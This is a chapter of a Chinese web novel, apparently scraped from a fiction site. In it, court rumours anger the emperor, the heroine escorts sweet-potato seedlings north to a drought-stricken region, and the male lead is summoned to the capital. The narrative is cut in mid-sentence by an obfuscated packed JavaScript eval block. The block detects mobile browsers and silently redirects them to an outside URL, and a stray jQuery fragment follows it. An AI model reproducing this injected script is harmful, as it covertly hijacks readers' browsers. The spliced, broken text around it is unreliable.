6. 流言之祸
作品:《穿越后和男主共享了血条》 不种粮食!
只这四个字,便足够给萧宇策扣上荒唐的帽子。
果真,天律帝尝过一口后,便气得直摔奏本。
萧宇敬见状,岂能放过这个好机会,将下面人传来的捕风捉影之言,添油加醋地转述给了皇帝。
“他东安郡多好的地,农庄不种粮食,竟为了讨人欢心,全种上了这软糯甜香的点心!”皇帝的怒声一度传到了宫殿之外。
“娘娘,不好了,陛下生了好大的气,说要把咱王爷召回京呢。”眉儿甫一进入泽华殿便顾不上规矩,一路小跑到了德妃跟前。
“为着什么事情,可打探清楚了?”德妃依旧是斜躺在榻上,慢悠悠地开口问道。
“说是咱王爷在东安郡养了个小爷,为讨小爷欢心,把农庄的地全用来种金贵点心了。”
“哈哈哈,小爷!策儿竟干了这么荒唐的事情么,看来当初这么早让他结婚就藩,还真是委屈他了,莫不是在东安郡憋闷疯魔了。”
不过半日,阖宫上下便都听说了昭王的荒唐事。
“这便是七哥信里说的金薯苗吗?”经水路运输后,又由马车一路相送,借着祝家商队的幌子,时隔大半月,平沙郡收到了好不容易培育出来的薯苗。
自祝丰源商船靠岸东安郡,简觉便开始亲手参与薯苗的培育。
谁曾想,东安郡的地还未挑好,萧宇策便下令,要把这批培育出来的薯苗一并送去平沙郡。
薯苗搬送上货车的那天,萧宇策来了,默默地站在了简觉身边。
“觉儿,我知你反对将薯苗移种至平沙郡。擅自转送神种,是我一个人的主意,若有天罚,便叫我一人承受。”他瞒着简觉,安排好一切,直到将启程时才告诉了她。
“我不是反对北移一事,只是觉得时机不对。你该忧虑的是人祸,何来的天罚。”出乎她意料的是,这看起来不信奉鬼神的人,还是被天道之说所缚。
“哈哈哈,原来是这样。”萧宇策竟松了口气。
“既如此,觉儿便让我赌一回天运吧。既无天罚之忧,人祸又有何惧。”这番话,他说的洒脱。
“阿策,有一人,一念便可断天下人之生死。”在这命如浮萍的时代下,便是藩王也在那一念之下。若有心之人挑唆,那人意念稍动,便是灭顶之灾。
“觉儿莫不是忘了,你我第一次相遇,是何情形。”
“自然忘不了。”
“既然觉儿在此,想来天命顾我。”
是啊,日日和萧宇策相伴,两人相处时尽干些寻常的事情,她都要忘了,眼前这人可是男主,倒是自己多虑了。
“天命自是顾你。”简觉看着他的背影,定定地说道。
只是,苗种北移的事情终究叫她放心不下。
于是,斟酌之下,她亲自跟队,随着薯苗一路颠簸,到了平沙郡。
一路向北,她才逐渐感受到了萧宇策口中的北地之苦,这里的北地远不同于她认知中的北方。
骑在马上,若是不带上面巾,脸颊便被风刮得生疼,空气干得刺人,呼吸间都带着粗涩感,她用了好些天,才逐渐适应。
萧宇誊一早便身着甲胄,带着一小队亲兵,在城外农庄等着商队,远远瞧见,赶忙骑马迎了过去。
自七月来,整整一个半月,降雨量几近于无,地里的庄稼长势日颓,再这样下去,莫说是军粮了,百姓也要吃不上饭。
他只好早早上了奏章,请朝廷提前批赈灾粮下来。
只是,连东安郡的薯苗都到了,这赈灾粮却连个影子也没瞧见。
“见过王爷。”简觉下马,正要上前作揖行礼,便被萧宇誊拦了下来。
“七哥信里同我提过姑娘,便不必同我讲这些虚礼了。”他凑近简觉,小声在她耳边说道。
简觉看着他揶揄的眼神,顿感头大。不知道这萧宇策,是怎么和他弟弟介绍自己的。
进了农庄,关上大门,才算是真的松下口气来,能好好说说种植的事情。
虽说是瞒着她,终究萧宇策还是在平沙郡以最稳妥的方式,规划好了一切,让薯苗悄无声息的完成了北移。
“怎的王爷身着甲胄?”不止是萧宇誊全副武装,连他带过来的亲兵亦是战时状态。
“此次受灾的不只我们,日烟部也受到了影响,这不,开始想尽办法要抢点物资回去。”
萧宇策这么紧迫的想要解决平沙郡的粮食问题,想来是一早预料到了这个内忧外患的局面。
趁着工人搬运薯苗的工夫,她也从萧宇誊口中大致了解到这个日烟部的情况。
听起来,像是她认知中的早期游牧民族,擅骑射,机动性强,重信仰,只是好在,现在他们还不成体系。
若是有朝一日出现一个人,能够统管这个日烟部,怕是平沙郡的日子远没有现在这么好过了。
“王爷当真是辛苦。”简觉由衷地感叹道。
“既封于此,自是责无旁贷。只是北地比不上东安郡,怕是要委屈姑娘了,若有照顾不周之处,我先在这赔个不是。”
王爷给我赔不是,这萧宇策到底在给弟弟的信里写了些什么。
“王爷折煞民女了。”
两人一阵寒暄后,商队卸下薯苗也准备返程了。
在农庄数日,萧宇誊倒是日日来,亲手栽种,时不时还叫上亲兵一起劳作,只是回回都是风尘仆仆的样子。
若不是知道这是弟弟,她还真是看不出来,眼前沧桑模样的少年将军,不过一十七岁。
内要安抚官员百姓,外要带兵打退强敌,还要抽出时间来看着薯苗下地的事情,怕是近日来连个阖眼小憩的时间都没多少。
“九爷不必日日过来,农庄有我盯着,这些人都是东安郡带过来,也有种植经验。”简觉看着他眼睛里的红血丝,上前劝道。
“不是不放心姑娘,七哥如此冒险帮我,我不盯着也心下难安。”萧宇誊没有抬头,只是直愣愣地看着只有小苗冒出来的土地。
第五日,薯苗在农庄、后山的地上便都种下了。
第七日,平沙郡下了场中雨。
萧宇誊本陪着简觉在校场参阅,两人一进帐,便听到了雨滴落在篷布上的声音。
他激动地就这么不顾形象地跑了出去,“下雨了!一个半月了终于下雨了!”
“快去叫人准备蓄水。”简觉唤来萧宇誊的亲兵。
“是。”那亲兵迟愣了一下,反应过来,便立马跑去办了。
“简姑娘,你当真同七哥说的一样,是个福星。”淋了雨,他就这么湿漉漉地走到了檐下,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096861|195653||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面上的笑意还未散去。
“九爷,莫怪我扫兴,这场雨下不久,怕是土都湿不透。”简觉也走出了帐篷,伸出手,接住了这来之不易的夏雨。
“我倒是忘了,姑娘自方外而来,想来擅观天象,是我高兴得太早了。”突然想起来什么似的,他猛地转过去要唤亲兵。
“王爷可是要叫人准备蓄水,我已替爷传达过了。”
听到这话,他这才又有些恍神地坐下,“那便好。”
“王爷勿忧,不会一直旱下去,待过了十月,便会开始好好的下雨了。”
“那这雨水来的也太晚了些。”
檐下的水成股滴落,直看得他移不开眼。一场片刻的欢愉,也好过长久的绝望。想来今日的百姓们,可以好好睡一觉了。
这难捱的酷暑,就让他一人承受吧。
简觉顺着他的视线看去,只看到了雨水从他指尖渗过,冲刷着那布满伤痕的双手。
这位九王爷,就藩之前也是养尊处优的天都皇子。那双手受过最大的苦,怕也是练些花架子武艺。
现下,长时间劳心劳神,且一直不能好好休息。让一个十七岁的少年,骤然抗这么重的担子,这个时代,未免太残酷了些。
明明有很多方式,他可以让自己当个轻松自在的藩王。
他偏偏给自己选了个最难的方式,这两兄弟,在这方面还真是一致。
简觉突然理解了,萧宇策听到旱情消息时的焦灼从何而来。
【提示:男主收到传召将进宫面圣。】
“好好的,把藩王传回天律都做什么?”
【德妃病重,回宫侍疾。】
“只是因为这个吗?”
系统没有回话,简觉却开始有些不安。
从未听萧宇策说起他母妃的事,只是五年不曾传召,突然就说母妃病重,未免牵强了些。
难道是先前他擅自离开封地的事情,被人告黑状了?
还是出了内鬼泄露了矿山的事情?
亦或是一些她猜不到的缘由。
总之,皇帝康健在位,藩王突然被传召进京,绝对不会是什么好事,她必须立刻赶到萧宇策身边才好。
“九爷,如今薯苗已全部种下,我也是时候回去了。”
“怎的不多留些天。”
“原也是担心薯苗情况才一路来此,现薯苗已种下,东安郡来的薯农会等到金薯成熟后再离开。”
萧宇誊虽有心挽留,却也找不出什么理由。
“萧宇策现在在哪?”
【男主已出发前往天律都】
“带我去找他。”
备上简单的干粮,牵过两匹马,背上来之前萧宇策硬要她带上的那杆枪,就这么出发了。
【已开启男主跟随功能】
圣旨未明说何日觐见,也无法从词句间判别态度。萧宇策用半天的时间,将封地内的事情交代下去,在演武场点了二十个好手,便朝着天律都出发。
一连五日匆忙赶路,路过河边开阔平地,一行人就地休整。
萧宇策甫一坐下,便突然感觉到有人近身,还未来得及反应,匕首已经贴在了他的颈间。
霎时间,冰凉的触感传来,吞咽间仿佛能感受到刃锋,直惊得他头皮发麻。

